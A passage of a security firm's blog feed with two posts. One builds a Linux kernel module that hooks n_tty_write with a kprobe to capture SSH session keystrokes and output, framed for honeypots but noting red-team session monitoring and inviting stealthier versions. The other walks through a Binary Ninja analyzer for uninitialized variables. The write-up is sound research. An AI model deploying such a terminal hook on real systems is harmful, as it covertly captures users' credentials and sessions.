https://substackcdn.com/image/fetch/$s_!UgRa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ba78005-5c67-46f2-a5f5-003df84b19b1_559x1494.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><h2>Constructing a kernel module - Intercepting SSH Connections</h2><p>For testing this I created a loadable kernel module. At the initialization phase of the driver I registered a probe to hook the function.</p><pre><code>static struct kprobe kp = {
    .symbol_name = "n_tty_write",
};

static int __init kprobe_init(void)
{
    kp.pre_handler = handler_pre;

    if (register_kprobe(&amp;kp) &lt; 0) {
        pr_err("register_kprobe failed\n");
        return -1;
    }

    pr_info("Kprobe registered at %p\n", kp.addr);
    return 0;
}</code></pre><p>Here I used Kprobes. Kprobes are a kernel mechanism that lets you dynamically attach handlers to almost any instruction in the kernel without modifying its source code or rebooting. They&#8217;re used to observe, debug, or instrument kernel behavior by intercepting execution at specific points, capturing state, or running custom logic when those points are hit. Because they work at runtime and leave no permanent changes behind, kprobes are especially useful for debugging, tracing, and research scenarios where rebuilding or patching the kernel would be too heavy or too visible. However, Kprobes are also misused :) They can also be used, to expose an internal function&#8217;s address where such function is not exported. In my driver, I just used Kprobes to hook the target function &#8220;n_tty_write&#8221; and monitor its arguments. </p><blockquote><p><strong>Kprobes != Stealthy</strong></p><p>There are many approaches to instrumentation and function hooking. The Linux kernel itself provides a wide range of built-in mechanisms, and with enough creativity you can discover even more. For the purposes of this demonstration, however, I deliberately chose the simplest approach.</p><p>The downside is obvious: when using kprobes, the hooks are trivially discoverable. Even user-space (root) can enumerate what is being instrumented:</p><p>$ cat /sys/kernel/debug/kprobes/list</p><p>ffffffffa3bc42f0  k  n_tty_write+0x0    [FTRACE]</p><p>From a stealth perspective, this is far from ideal. I promissed to provide a stealthy observation, which through my research, that is n_tty_write. However, a truly covert operation requires going beyond the Kprobe. I&#8217;ve shown you the hard part, now it&#8217;s your turn to take it further and keep the fiding stealthy.</p></blockquote><p>As soon as we do that, we handle the internal structure in its handler as shown below:</p><pre><code>static int handler_pre(struct kprobe *p, struct pt_regs *regs)
{
#if defined(__x86_64__)
    //  ssize_t n_tty_write(struct tty_struct *tty, struct file *file, const unsigned char *buf, size_t nr)  - drivers/tty/n_tty.c
    // RDI, RSI, RDX, RCX - System V AMD64 ABI calling convention for x86/64
    struct tty_struct *tty = (struct tty_struct *)regs-&gt;di;
    struct file *file = (struct file *)regs-&gt;si;
    const unsigned char *buf = (const unsigned char *)regs-&gt;dx;
    unsigned long count = (unsigned long)regs-&gt;cx;
    char buff[100];

    if (tty) {
      if (tty-&gt;driver) {
         struct tty_driver *driver = tty-&gt;driver;
         if (driver-&gt;driver_name &amp;&amp; tty-&gt;index &gt; 0) {
            pr_info("n_tty_write: %s [PID:%d][idx:%d] tty=%px, buf=%px, count=%lu\n", driver-&gt;driver_name, current-&gt;tgid, tty-&gt;index, tty, buf, count);
            strncpy(buff, buf, count &lt; 99 ? count : 99);
            buff[count &lt; 99 ? count : 99] = 0;
            pr_info("buff: %s\n", buff);
         }
      }
    } else return 0;

#endif
    return 0;
}</code></pre><p>In order to get the parameters of the function we need to understand the calling convention and translate each register to a variable (since its x64 the arguments are not in the stack but on register per SysV ABI).</p><blockquote><p>In my hook handler I deliberately chose to hook only terminals with an index greater than zero, effectively skipping the very first tty. That first tty is the one I use to interact with the system, and monitoring it would immediately create a feedback loop. As soon as I run a command like <code>dmesg</code>, the kernel output would be written to the tty, picked up by the hook, logged again, and then written back out, only to be captured once more. The result is an endless loop where kernel output turns into new input and back again, quickly overwhelming the system. By ignoring the first terminal and focusing on later sessions, I avoid that recursion entirely and can observe output cleanly without the observer becoming part of the data stream.</p></blockquote><p>The kernel logs:</p><pre><code>xusr@vb:~$ dmesg
... SNIP ...
[  897.122375] n_tty_write: pty_master [PID:1978][idx:1] tty=ffff8881cfc7b800, buf=ffff8881c8612800, count=1
[  897.122384] buff: h
[  897.122635] n_tty_write: pty_slave [PID:2036][idx:1] tty=ffff8881cfc7d000, buf=ffff8881af243400, count=1
[  897.122643] buff: h
[  897.361443] n_tty_write: pty_master [PID:1978][idx:1] tty=ffff8881cfc7b800, buf=ffff8881c8612800, count=1
[  897.361459] buff: e
[  897.361819] n_tty_write: pty_slave [PID:2036][idx:1] tty=ffff8881cfc7d000, buf=ffff8881af243400, count=1
[  897.361829] buff: e
[  897.546022] n_tty_write: pty_master [PID:1978][idx:1] tty=ffff8881cfc7b800, buf=ffff8881c8612800, count=1
[  897.546030] buff: l
[  897.546300] n_tty_write: pty_slave [PID:2036][idx:1] tty=ffff8881cfc7d000, buf=ffff8881af243400, count=1
[  897.546308] buff: l
[  897.680649] n_tty_write: pty_master [PID:1978][idx:1] tty=ffff8881cfc7b800, buf=ffff8881c8612800, count=1
[  897.680658] buff: l
[  897.680934] n_tty_write: pty_slave [PID:2036][idx:1] tty=ffff8881cfc7d000, buf=ffff8881af243400, count=1
[  897.680941] buff: l
[  897.850882] n_tty_write: pty_master [PID:1978][idx:1] tty=ffff8881cfc7b800, buf=ffff8881c8612800, count=1
[  897.850893] buff: o
[  897.851430] n_tty_write: pty_slave [PID:2036][idx:1] tty=ffff8881cfc7d000, buf=ffff8881af243400, count=1
[  897.851440] buff: o</code></pre><p>During this test, I opened an SSH session and typed the word &#8220;hello,&#8221; and the driver picked it up immediately - twice. At first that looks odd, but once you zoom in on what&#8217;s happening, it makes perfect sense. </p><p>We can see that twice because of two reasons. The master writes data to the slave, and through that process, writing to its buffer to read, it passed via the n_tty_write. Also, when it reaches its final destination, the bash for example, outputs the character back (see the next paragraph about this). Hence you see the character twice.</p><h2><strong>Monitoring the output</strong></h2><p>If you stop and think about it, typing into a terminal is far less direct than it feels. When you press a key, the character doesn&#8217;t just appear on the screen because you typed it. It travels down into the kernel, is delivered to the process attached to the tty, and only shows up again if that process chooses to send something back. Before digging into this, I assumed the terminal simply echoed my input by default, but that&#8217;s not really what&#8217;s happening. What you type becomes input to the program, and if the program decides to write that input back, or produces its own output, those bytes make the return trip through the same path. That&#8217;s why, when you type <code>ls</code> and press Enter, you see both the command you typed and the output it generated: both are just data flowing through the tty, one going in and one coming back out.</p><p>Here on a terminal I click &#8220;ls&#8221; and hit enter. As you can see the output is also shown:</p><pre><code>[  446.970091] n_tty_write: pty_master [PID:3987][idx:1] tty=ffff888130da8800, buf=ffff888132764000, count=1
[  446.970099] buff: l
[  446.970468] n_tty_write: pty_slave [PID:4023][idx:1] tty=ffff88812cb75000, buf=ffff888134228400, count=1
[  446.970476] buff: l
[  447.356251] n_tty_write: pty_master [PID:3987][idx:1] tty=ffff888130da8800, buf=ffff888132764000, count=1
[  447.356259] buff: s
[  447.356506] n_tty_write: pty_slave [PID:4023][idx:1] tty=ffff88812cb75000, buf=ffff888134228400, count=1
[  447.356513] buff: s
[  448.026210] n_tty_write: pty_master [PID:3987][idx:1] tty=ffff888130da8800, buf=ffff888132764000, count=1
[  448.026219] buff: 
[  448.026416] n_tty_write: pty_slave [PID:4023][idx:1] tty=ffff88812cb75000, buf=ffff888134228400, count=1
[  448.026433] buff: 

[  448.045416] n_tty_write: pty_slave [PID:4044][idx:1] tty=ffff88812cb75000, buf=ffff888134228400, count=234
[  448.045426] buff: Desktop  Documents  Downloads  Drivers  example
[  448.047946] n_tty_write: pty_slave [PID:4023][idx:1] tty=ffff88812cb75000, buf=ffff888134228400, count=62</code></pre><p>You can even access the process IDs involved, one corresponding to the terminal side and the other to the program running on the slave. That distinction turns out to be extremely useful, because it means we can filter activity per process ID and decide which side of the conversation we care about. From there, it&#8217;s a small step to forwarding this data to a user-space component, where it can be processed per session - logged, analyzed, or sent over the network. In a red team context, this opens the door to quiet session monitoring, and in our case it fits naturally into building a high-interaction honeypot.</p><h2><strong>What do you have in mind? </strong></h2><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://cybervelia.com/contact&quot;,&quot;text&quot;:&quot;Contact Us&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://cybervelia.com/contact"><span>Contact Us</span></a></p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://calendly.com/theodoros-danos-cybervelia/30min&quot;,&quot;text&quot;:&quot;Schedule a Call&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://calendly.com/theodoros-danos-cybervelia/30min"><span>Schedule a Call</span></a></p><p></p><h2>About Theodoros</h2><p><a href="https://www.linkedin.com/in/theodoros-danos-b17a97206/">LinkedIn</a></p><p>Theodoros Danos is a cybersecurity researcher and founder of Cybervelia, where he focuses on offensive security testing for web, mobile, and connected systems.</p><p>His work includes deep technical research into application security, reverse engineering, and system-level vulnerabilities, with a particular focus on Bluetooth Low Energy (BLE) security, covering low-level protocol behavior and practical attack scenarios.</p><p>He publishes technical research based on real-world assessment work, aimed at developers and security teams building and operating production systems.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!nk3U!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd084a230-4f22-44af-ac07-bc4c4a8921de_400x489.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!nk3U!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd084a230-4f22-44af-ac07-bc4c4a8921de_400x489.jpeg 424w, https://substackcdn.com/image/fetch/$s_!nk3U!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd084a230-4f22-44af-ac07-bc4c4a8921de_400x489.jpeg 848w, https://substackcdn.com/image/fetch/$s_!nk3U!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd084a230-4f22-44af-ac07-bc4c4a8921de_400x489.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!nk3U!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd084a230-4f22-44af-ac07-bc4c4a8921de_400x489.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!nk3U!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd084a230-4f22-44af-ac07-bc4c4a8921de_400x489.jpeg" width="236" height="288.51" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d084a230-4f22-44af-ac07-bc4c4a8921de_400x489.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:489,&quot;width&quot;:400,&quot;resizeWidth&quot;:236,&quot;bytes&quot;:60679,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.cybervelia.com/i/186733350?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd084a230-4f22-44af-ac07-bc4c4a8921de_400x489.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!nk3U!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd084a230-4f22-44af-ac07-bc4c4a8921de_400x489.jpeg 424w, https://substackcdn.com/image/fetch/$s_!nk3U!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd084a230-4f22-44af-ac07-bc4c4a8921de_400x489.jpeg 848w, https://substackcdn.com/image/fetch/$s_!nk3U!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd084a230-4f22-44af-ac07-bc4c4a8921de_400x489.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!nk3U!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd084a230-4f22-44af-ac07-bc4c4a8921de_400x489.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="directMessage button" data-attrs="{&quot;userId&quot;:91666338,&quot;userName&quot;:&quot;Theodoros Danos&quot;,&quot;canDm&quot;:null,&quot;dmUpgradeOptions&quot;:null,&quot;isEditorNode&quot;:true}" data-component-name="DirectMessageToDOM"></div><p></p>]]></content:encoded></item><item><title><![CDATA[An In-depth research-based walk-through of an Uninitialized Local Variable Static Analyzer]]></title><description><![CDATA[Do you think the battle with ULVs is over? Think again.]]></description><link>https://blog.cybervelia.com/p/an-in-depth-research-based-walk-through</link><guid isPermaLink="false">https://blog.cybervelia.com/p/an-in-depth-research-based-walk-through</guid><dc:creator><![CDATA[Theodoros Danos]]></dc:creator><pubDate>Mon, 02 Jun 2025 22:27:51 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/18c406e7-f28a-4e2d-b905-07db377ede89_800x498.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>TL;DR</h2><p>They&#8217;re back!</p><p>Uninitialized local variables (ULVs) were once a common source of data leaks, crashes, and hard-to-explain bugs&#8212;ghosts of bad memory hygiene lurking in the stack. Today&#8217;s compilers are much better at catching them. But once binaries are stripped of metadata and debug info, those guarantees start to fade. So the question remains: are they really gone?</p><p>In stripped binaries, ULVs are no longer obvious&#8212;they&#8217;re buried under layers of optimization, inlined code, and restructured control flow. The compilers did their job. But for reverse engineers working without source, that same optimization turns variable tracking into a detective&#8217;s game: rebuilding the stack layout, tracing every read and write in intermediate representation, and cutting through the noise introduced by aggressive compiler behavior. Just a reminder - at least two uninitialized local variable (ULV) vulnerabilities were discovered in the Linux kernel last year (CVE-2024-42228, CVE-2024-42225).</p><p>This article presents a static analyzer based on Binary Ninja engine to take on that challenge. It walks through a complete ULV detection workflow&#8212;from recovering variables and analyzing how they&#8217;re used, to inferring sizes, tracking taints across functions, and filtering out misleading patterns. If an uninitialized read made it into your binary, this process will uncover it.</p><h2>Introduction &amp; Motivation</h2><p>Stack-based uninitialized reads occur when a function reads from a local variable before any code assigns a value. In C/C++, this can expose residual stack contents&#8212;potential passwords, pointers, or other sensitive data&#8212;and lead to undefined behavior. While modern compilers insert some zeroing or warnings, many ULVs slip through in performance-critical code or legacy modules.</p><p>Static source analyzers can catch ULVs early, but in security research we often face only the compiled binary. Traditional disassembly and manual auditing are laborious and error-prone. My goal was to build an automated, accurate, and extensible Binary Ninja plugin that finds ULVs in stripped binaries with minimal human effort.</p><p>Finally, we chose Binary Ninja for its exceptionally powerful analysis engine, even if its user interface could be improved. Its Python-accessible intermediate representation with full SSA support greatly simplifies static analysis. At the same time, it keeps us close to the underlying assembly while allowing a higher-level perspective&#8212;and, by using the right IR, ensures our workflow remains ISA-agnostic (almost&#8230;).</p><h2>Challenges in Binary-Only ULV Detection</h2><p>Analyzing uninitialized local variables in a stripped binary comes with its own challenges. Since there's no extra information from the compiler, we don't know where variables start or how big they are. We have to figure out every stack variable just by looking at raw memory access patterns. Without type or symbol data, the only way to find variable boundaries is to study how memory is read from and written to. Small mistakes in this process can lead to missed bugs or confusing warnings.</p><p>Things added by the compiler make it even harder to understand what the code is really doing. For example, saved frame pointers, return addresses, padding for alignment, and situations where the compiler splits a single variable into multiple pieces on the stack can all look like real variables when they&#8217;re not. We also have to deal with complex control flow, where a variable might be initialized in one code path but not another. If we just scan the code in order, we might miss cases where a variable is used before it&#8217;s initialized, or we might wrongly report an error when all paths actually set the variable.</p><p>To make things even harder, variables are often initialized in helper functions that are called indirectly through pointers. This means that a write to a variable in one function might actually happen inside another function. If the analysis only looks at a single function, it might wrongly flag these safe pointer-based writes as problems.</p><p>Also, in large binaries, a lot of code either never runs or runs very rarely&#8212;like dead code or rarely-used error handlers. These parts can cause warnings that don&#8217;t matter for real-world use.</p><p>All of this means we need a broader kind of analysis that looks across functions. It has to be able to guess variable types and sizes without metadata, ignore extra data added by the compiler, and match what the code looks like with how it actually behaves when running.</p><h2>A Binary Ninja&#8211;Powered ULV Detection Static Analysis</h2><p>Having outlined the myriad challenges inherent in discovering uninitialized stack variables purely from binary code, we now turn to the heart of our solution: a script that automates this analysis. Leveraging Binary Ninja&#8217;s powerful Intermediate Language (IL) APIs, this plugin systematically reconstructs local variables, infers their sizes, tracks read&#8208;before&#8208;write occurrences, and propagates data flows across function boundaries. Keep in mind that this plugin is developed 4 years ago and this is a write-up for such an old plugin. The plugin works great, however, it needs the old version of BN which is 2.4.28x. After this version, vector35 changed their API engine from ground-up and I didn&#8217;t have time to keep-up and upgrade the implementation of this project. Nevertheless, even though the analyzer was written long ago, is still used today in our company and still can find vulnerabilities in modern binaries, while the logic does not rely on any modern libraries (the work done is static).</p><p>Over the next sections, we will explore in depth how the plugin works:</p><ol><li><p>Discovers and filters stack locals using Binary Ninja&#8217;s stack_layout and configurable blacklists;</p></li><li><p>Performs read&#8208;before&#8208;write analysis by scanning MLIL instructions to accurately distinguish reads and writes;</p></li><li><p>Infers sizes for unknown&#8208;width variables via a neighbor&#8208;offset heuristic;</p></li><li><p>Reconstructs inter-procedural coverage with a proximity&#8208;based taint propagation across caller&#8211;callee relationships;</p></li><li><p>Prunes false positives through sibling&#8208;variable deduplication, pointer&#8208;initiated initialization detection, and skips of specific-imported or dynamically called routines;</p></li><li><p>Enriches results by importing IDA Pro symbols for human-friendly names and filtering findings with a lightweight PIN trace to focus on actually executed code paths.</p></li></ol><p>By the end of this discussion, you will see how each of these building blocks fits together into a coherent, end-to-end workflow&#8212;transforming a stripped binary into a prioritized list of genuine ULV warnings, ready for security review.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!0jOX!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61d68de3-a29a-44a2-96cc-5c513e99e5c6_1059x401.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!0jOX!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61d68de3-a29a-44a2-96cc-5c513e99e5c6_1059x401.png 424w, https://substackcdn.com/image/fetch/$s_!0jOX!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61d68de3-a29a-44a2-96cc-5c513e99e5c6_1059x401.png 848w, https://substackcdn.com/image/fetch/$s_!0jOX!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61d68de3-a29a-44a2-96cc-5c513e99e5c6_1059x401.png 1272w, https://substackcdn.com/image/fetch/$s_!0jOX!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61d68de3-a29a-44a2-96cc-5c513e99e5c6_1059x401.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!0jOX!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61d68de3-a29a-44a2-96cc-5c513e99e5c6_1059x401.png" width="1059" height="401" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/61d68de3-a29a-44a2-96cc-5c513e99e5c6_1059x401.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:401,&quot;width&quot;:1059,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:80204,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.cybervelia.com/i/161637757?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87f6f808-8c1a-424e-82f0-16ec456b752a_1059x1221.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!0jOX!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61d68de3-a29a-44a2-96cc-5c513e99e5c6_1059x401.png 424w, https://substackcdn.com/image/fetch/$s_!0jOX!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61d68de3-a29a-44a2-96cc-5c513e99e5c6_1059x401.png 848w, https://substackcdn.com/image/fetch/$s_!0jOX!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61d68de3-a29a-44a2-96cc-5c513e99e5c6_1059x401.png 1272w, https://substackcdn.com/image/fetch/$s_!0jOX!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61d68de3-a29a-44a2-96cc-5c513e99e5c6_1059x401.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Binary Ninja&#8217;s Terminal Output</figcaption></figure></div><h2>1. Discovering and Filtering Stack Locals</h2><p>The very first challenge in binary&#8208;only ULV detection is to <strong>reconstruct each function&#8217;s local variables</strong> purely from its stack frame, then immediately prune out any slots that cannot represent genuine user data. Our plugin addresses this in two sub-steps: enumeration via Binary Ninja&#8217;s stack_layout, and early filtering using blacklists and configurable flags.</p><h4>Enumerating Stack Variables</h4><p>Binary Ninja exposes each function&#8217;s local and argument slots through the Function.stack_layout property. Each entry describes a variable&#8217;s source type, name, storage offset (relative to the frame pointer), and any type information that the decompiler could recover. In our implementation, we iterate over every function in the binary view, skipping well&#8208;known boilerplate functions (e.g., _init, __libc_csu_init) via a small functions_blacklist_names list:</p><pre><code><code>functions_blacklist_names = ["__libc_csu_init", "_init", "_fini", "_start"]
allvars = {}

for func in bv.functions:
    if func.name in functions_blacklist_names:
        continue
    allvars[func.name] = {}
    for var in func.stack_layout:
        # ... candidate for further filtering ...</code></code></pre><p>At this stage, func.stack_layout may contain entries for saved registers (e.g. __saved_rbp), return addresses, padding, or true locals. We capture each one but delay committing it until after filtering.</p><h4>Blacklisting Compiler-Generated Slots</h4><p>Many of the stack_layout entries are artifacts of the ABI or compiler: saved frame pointers, return addresses, preserved callee-saved registers, and so on. To exclude these, we maintain a <strong>variable blacklist</strong> of names that Binary Ninja commonly assigns to such slots:</p><pre><code><code>variable_blacklist_names = [
    "__saved_rbp", "__return_addr",
    "__saved_rbx", "__saved_r12"
]</code></code></pre><p>When populating our allvars structure, any Variable whose name matches an entry in this list is skipped:</p><pre><code><code>if var.name in variable_blacklist_names:
    continue</code></code></pre><p>This ensures we only consider slots that are more likely to hold program data rather than ABI bookkeeping.</p><h4>Skipping Void and Zero-Size Slots</h4><p>Even after name-based blacklisting, some locals have no meaningful width or type. Binary Ninja may tag them as void (unknown type) or assign a width of zero when it cannot infer any size. Since a void or zero-width slot cannot yield a usable read or write, we optionally skip them via two flags:</p><pre><code><code>skip_void_vars      = False  # can be set to True to omit void-typed slots
skip_zero_size_vars = False  # can be set to True to omit zero-width slots

# inside the var loop:
if skip_void_vars and var.type.type_class == TypeClass.VoidTypeClass:
    continue

if skip_zero_size_vars and var.type.width == 0:
    continue</code></code></pre><p>By default we leave these flags off (to maximize coverage), but they can be turned on for noise reduction in very large binaries.</p><h4>Excluding Function Arguments on the Stack</h4><p>Depending on calling convention, some function parameters may also appear in stack_layout. Since our focus is on automatic locals (and not on uninitialized caller-provided arguments), we exclude any variable whose storage is positive (i.e., above the frame pointer):</p><pre><code><code>if var.storage &gt; 0:
    # var.storage &gt; 0 typically indicates a pushed&#8208;in argument
    continue</code></code></pre><h4>Normalizing Offsets and Recording Initial State</h4><p>For each surviving local, we record its <strong>normalized offset</strong> (var.storage + 8) to align with the prologue&#8217;s adjustment, its size (or zero if unknown), and an initial assigned state of 0 (meaning &#8220;unvisited&#8221;):</p><pre><code><code>allvars[func.name][var.name] = {
    "func_obj":    func,
    "func_address":func.start,
    "type":        var.type,
    "storagetype": var.source_type,
    "offset":      var.storage + 8,
    "size":        var.type.width,
    "assigned":    0
